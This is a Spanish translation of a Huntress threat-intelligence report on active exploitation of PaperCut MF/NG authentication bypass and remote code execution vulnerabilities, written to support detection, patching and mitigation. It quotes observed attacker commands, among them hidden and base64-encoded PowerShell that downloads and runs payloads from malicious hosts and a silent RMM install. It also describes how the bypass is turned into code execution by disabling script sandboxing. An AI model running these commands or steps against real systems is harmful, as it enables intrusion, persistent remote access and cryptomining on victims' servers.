Nuestro equipo está monitoreando la explotación activa de vulnerabilidades de día cero (zero-day) contra PaperCut MF/NG, que permiten la ejecución remota de código no autenticada debido a una omisión de autenticación.
ACTUALIZACIÓN #1 - 25/4/23 @ 11 a. m. hora del Este: Se agregó información sobre explotación adicional observada contra el servidor Papercut MF/NG, donde se implementó un criptominero.
Huntress ha observado actividades posteriores a la explotación dentro de los entornos de nuestros socios tras la explotación de las recientes vulnerabilidades de PaperCut MF/NG. El 19 de abril, PaperCut reportó explotación activa en entornos reales contra las versiones vulnerables 8.0 y superiores, y anteriores a la 20.1.7, 21.2.11 o 22.0.9.
Estas amenazas han sido etiquetadas por Zero Day Initiative como ZDI-CAN-19226 (CVE-2023-27351) y ZDI-CAN-18987 (CVE-2023-27350).
En nuestros entornos protegidos, observamos:
- 1014 endpoints Windows en total con PaperCut instalado
- 908 endpoints Windows en total con versiones vulnerables de PaperCut instaladas. (~90%)
- Distribuidos en 710 organizaciones distintas
- 3 endpoints macOS en total con PaperCut Server instalado
- 2 endpoints macOS en total con versiones vulnerables de PaperCut instaladas.
Hemos enviado reportes de incidentes a todas las organizaciones afectadas en relación con sus endpoints vulnerables, y seguimos recomendando seguir las indicaciones de PaperCut para aplicar los parches.
El investigador de seguridad de Huntress Caleb Stewart recreó un exploit de prueba de concepto para demostrar estas amenazas, que puedes ver en acción en este video, y puedes leer a continuación los detalles más finos de inteligencia de amenazas y el análisis técnico:
Qué hace
Si los números de versión y los identificadores no fueran lo suficientemente confusos, estas amenazas se dividen en dos CVE, pero en última instancia dependen de una omisión de autenticación que lleva a un mayor compromiso como usuario administrativo dentro de PaperCut Application Server.
Una vez omitida la autenticación, un actor de amenazas puede ejecutar código arbitrario en el servidor, que se ejecuta en el contexto de la cuenta NT AUTHORITY\SYSTEM. Debido a la facilidad y simplicidad de este ataque y su impacto, estas vulnerabilidades obtuvieron una puntuación de severidad CVSS de 8.2 y 9.8.
Shodan reporta alrededor de ~1.800 servidores PaperCut expuestos públicamente (al menos, con la consulta de búsqueda que encuentra PaperCut en el HTML, ya que el puerto de escucha es 9191 por defecto, pero puede personalizarse). Ten en cuenta que no hay una razón clara por la que este servicio deba estar abierto a Internet.
Contexto del evento y observables
Explotación observada el 16/4/23
Si bien la notificación de PaperCut que indicaba explotación activa se publicó el 19 de abril, aspectos de esta actividad parecen haber comenzado varios días antes. Reportamos actividad relacionada el 16 de abril, cuando observamos que el siguiente comando se generó desde el software PaperCut:
cmd /c "powershell.exe -nop -w hidden Invoke-WebRequest 'hXXp://upd488[.]windowservicecemter[.]com/download/setup.msi' -OutFile 'setup.msi'"
(se agregaron saltos de línea para mayor claridad visual)
El archivo setup.msi (hash SHA256: f9947c5763542b3119788923977153ff8ca807a2e535e6ab28fc42641983aabb) es un paquete de instalación para el software legítimo de administración remota y mantenimiento (RMM) Atera. El paquete se instala en un comando posterior, también generado desde la instancia explotada de PaperCut:
cmd /c "msiexec /i setup.msi /qn IntegratorLogin=fimaribahundqf[AT]gmx[.]com CompanyId=1"
En esta etapa, el adversario obtiene acceso remoto persistente y ejecución de código en la máquina víctima a través del RMM instalado. Dentro del entorno de Huntress, la actividad anterior se identificó poco después de producirse, y el evento se remedió sin observaciones ni indicadores adicionales de actividad adversaria.
Al revisar los elementos técnicos anteriores, el dominio — windowservicecemter[.]com — proporcionó el punto de partida más efectivo para una investigación adicional. El dominio se registró poco antes de los eventos mencionados, el 12 de abril, y utiliza los servicios de Cloudflare para ofuscar el alojamiento principal. Al revisar el dominio y su historial en varias herramientas y archivos, se encontraron varias cadenas de descarga más allá de la observada directamente por Huntress:
- upd488[.]windowservicecemter[.]com/download/ld.txt
- upd488[.]windowservicecemter[.]com/download/AppPrint.msi
- upd488[.]windowservicecemter[.]com/download/a2.msi
- upd488[.]windowservicecemter[.]com/download/a3.msi
Los paquetes MSI instalan dos herramientas RMM diferentes: Atera, como ya se mencionó, y también Syncro. Según un análisis preliminar, ambas parecen ser copias legítimas de estos productos y no poseen ninguna capacidad maliciosa integrada o añadida.
El archivo ld.txt (hash SHA256: c0f8aeeb2d11c6e751ee87c40ee609aceb1c1036706a5af0d3d78738b6cc4125) es más interesante, ya que la recuperación y el análisis muestran que en realidad se trata de una DLL de Windows, específicamente una variante del malware Truebot.
Huntress ya ha encontrado instalaciones de Truebot como cargas útiles posteriores a la explotación. Si bien Huntress no observó directamente el uso de Truebot en el incidente identificado, el hecho de que el malware esté ubicado junto con las otras cargas útiles RMM posteriores a la explotación ofrece un dato muy interesante. Truebot está vinculado a una entidad conocida como Silence, la cual a su vez tiene vínculos históricos con la entidad relacionada con ransomware TA505 (o Clop). En la investigación anterior de Truebot, TA505 luego se atribuyó la responsabilidad por usar la explotación del software GoAnywhere como precursor del ransomware.
Si bien se desconoce el objetivo final de la actividad actual que aprovecha el software de PaperCut, estos vínculos (aunque algo circunstanciales) con una entidad conocida de ransomware son preocupantes. Potencialmente, el acceso obtenido mediante la explotación de PaperCut podría usarse como un punto de apoyo persistente que conduzca a movimientos posteriores dentro de la red de la víctima, y, en última instancia, al despliegue de ransomware.
Dado el potencial de operaciones disruptivas vinculadas a lo anterior, Huntress realizó una investigación adicional que arrojó infraestructura de red adicional, potencialmente relacionada, creada el mismo día y con características similares al servidor que aloja las cargas útiles posteriores a la explotación:
- anydeskupdate[.]com
- anydeskupdates[.]com
- netviewremote[.]com
- updateservicecenter[.]com
- windowcsupdates[.]com
- windowservicecentar[.]com
- windowservicecenter[.]com
- winserverupdates[.]com
Uno de estos elementos — winserverupdates[.]com — está vinculado a actividad de Cobalt Strike Beacon con un subdominio de apariencia similar (upd343). Si bien los demás elementos aún no están asociados con ninguna actividad maliciosa conocida, Huntress recomienda a los defensores y a los propietarios de un activo de ciberseguridad tratarlos como probablemente asociados con las actividades descritas anteriormente, y tomar las medidas correspondientes.
Explotación observada el 22/4/23
El 22/4/23 se observó una nueva explotación en la que la primera etapa descargaba un archivo por lotes (http://50.19.48[.]59:82/me1.bat):
cmd.exe /c powershell -enc JAB3AGMAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7ACAAJAB0AGUAbQBwAGYAaQBsAGUAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEkATwAuAFAAYQB0AGgAXQA6ADoARwBlAHQAVABlAG0AcABGAGkAbABlAE4AYQBtAGUAKAApADsAIAAkAHQAZQBtAHAAZgBpAGwAZQAgACsAPQAgACcALgBiAGEAdAAnADsAIAAkAHcAYwAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwADoALwAvADUAMAAuADEAOQAuADQAOAAuADUAOQA6ADgAMgAvAG0AZQAxAC4AYgBhAHQAJwAsACAAJAB0AGUAbQBwAGYAaQBsAGUAKQA7ACAAJgAgACQAdABlAG0AcABmAGkAbABlAA==
Al ejecutarse, el script intenta deshabilitar Windows Defender y eliminar varias aplicaciones de criptominería si están instaladas, luego descarga y ejecuta la siguiente etapa (http://50.19.48[.]59:82/me2.bat), que intenta implementar un criptominero de Monero con el ID de billetera 43DTEF92be6XcPj5Z7U96g4oGeebUxkFq9wyHcNTe1otM2hUrfvdswGdLHxabCSTio7apowzJJVwBZw6vVTu7NoNCNAMoZ4. La dirección IP usada para alojar los scripts, así como el ID de billetera, se habían observado previamente en una publicación del blog de Sophos sobre ataques contra servidores VMWare Horizon.
Análisis técnico e investigación
Huntress obtuvo versiones previas al parche de los servidores de aplicaciones PaperCut para Windows y Mac para realizar nuestro análisis e investigación. Teniendo en cuenta la ruta y la convención de nomenclatura para descargar el instalador más reciente, pudimos obtener cualquier versión para distintos sistemas operativos modificando diferentes partes de esta URL:
https://cdn.papercut.com/web/products/ng-mf/installers/ng/$_version_prefix/pcng-setup-$pkgver.$_build.sh
Estos marcadores de posición, $_version_prefix, podrían ser la versión principal como 20.x, $pkgver algo como 20.0.8 y $_build es un número específico (como 65201).
El investigador de seguridad Caleb Stewart instaló PaperCut dentro de un entorno virtual y descompiló archivos de clases Java para leer el código fuente de la aplicación. Con nuestra versión instalada, pudimos encontrar el archivo WAR del servidor en C:\Program Files\PaperCut NG\server\lib\pcng-server-22.0.8.war.
Después de completar el proceso de configuración inicial para crear un usuario administrador y configurar el servicio, notamos que había suficientes pistas en las notificaciones públicas de ZDI para acotar la búsqueda a la página “SetupCompleted”. Simplemente visitar esta página y hacer clic en “Login” evitaba la autenticación.
Ahora, con la sesión iniciada como usuario administrador sin conocer ninguna credencial, era posible cambiar las configuraciones y los ajustes. Dado que se trataba de una interfaz de administración, asumimos que habría alguna funcionalidad para ejecutar comandos directamente. Tras revisar rápidamente la documentación de PaperCut MF/NG, quedó claro que el código podía ejecutarse dentro de un sandbox… pero, con algunos pequeños ajustes de configuración, era fácil desactivar esa restricción para ejecutar código Java puro directamente en el servidor. En concreto, se podían desactivar print-and-device.script.enabled y print.script.sandboxed.
A partir de esto, un actor de amenazas podría agregar entradas maliciosas al script de la impresora de plantilla, que está presente de forma predeterminada. Estos scripts de impresora están escritos en JavaScript usando el motor JavaScript Rhino incorporado. Al deshabilitar el análisis en un entorno aislado, los scripts de la impresora obtienen acceso directo al entorno de ejecución de Java, lo que permite una ejecución remota de código trivial. Según lo previsto, los scripts contienen solo funciones que sirven como enlaces para una ejecución futura; sin embargo, el ámbito global se ejecuta de inmediato al guardarse, por lo que una simple edición de un script de impresora puede aprovecharse para lograr la ejecución remota de código.
Con eso, tenemos una prueba de concepto completamente funcional para demostrar las amenazas de omisión de autenticación y ejecución remota de código contra el PaperCut Application Server. Al empaquetarlo en un script de ataque independiente, un adversario podría lograr acceso inicial como SYSTEM, establecer comando y control, y luego continuar con la posexplotación.
Como Huntress ha observado (y describió anteriormente), los intentos de explotación en entornos reales han desplegado un agente de Atera para acciones posteriores sobre los objetivos.
Esfuerzos de detección
A partir de nuestra prueba de concepto recreada, observamos procesos secundarios generados bajo el proceso pc-app.exe. La captura de pantalla a continuación muestra una prueba simple de invocar PowerShell para llamar a otra ubicación, demostrando la ejecución de código lograda.
Con este simple indicador, hemos desarrollado una capacidad de detección para alertar sobre comportamiento malicioso tras la explotación de PaperCut. Al momento de escribir esto, aún no hemos visto otros intentos de explotación contra los endpoints de nuestro socio.
Si no eres socio de Huntress, hemos desarrollado una regla Sigma primitiva para ayudar a detectar esta actividad que puedes usar en tus propios entornos. Puedes encontrar esta regla Sigma aquí:
Qué deberías hacer
Te recomendamos encarecidamente actualizar tu servidor PaperCut a una versión parcheada usando la información compartida en el aviso de PaperCut. Ten en cuenta que solo las versiones 20.x o posteriores pueden parchearse.
Si no puedes aplicar el parche, hay algunas opciones de mitigación parcial:
- Bloquea todo el tráfico desde IP externas hacia el puerto de administración web en un dispositivo perimetral (puerto 9191 por defecto)
- Esto no evitará la explotación de esta vulnerabilidad si un actor de amenazas obtuvo acceso a la red local y se movió lateralmente.
- Bloquea todo el tráfico destinado al puerto de administración web en el firewall del propio servidor
- Esto evitaría el movimiento lateral desde otros endpoints dentro de la red, pero también impediría la administración mediante el portal web desde cualquier otro lugar que no sea el propio servidor.
Si buscas indicadores de compromiso, puedes revisar los registros de la aplicación dentro de la interfaz de PaperCut. Puedes ver entradas:
- El usuario "admin" inició sesión en la interfaz de administración
- El usuario administrador "admin" modificó el script de impresión en la impresora
- El usuario "admin" actualizó la clave de configuración "..."
Si tu Application Server está configurado para registrar en modo de depuración, puedes buscar entradas anómalas que indiquen acceso a la página SetupCompleted.
Gracias a los miembros del equipo de Huntress Joe Slowik, Caleb Stewart, Stuart Ashenbrenner, John Hammond, Jason Phelps, Sharon Martin, Kris Luzadre, Matt Anderson y Dave Kleinatland, entre muchos otros, por sus contribuciones a este informe y a este rápido esfuerzo de respuesta.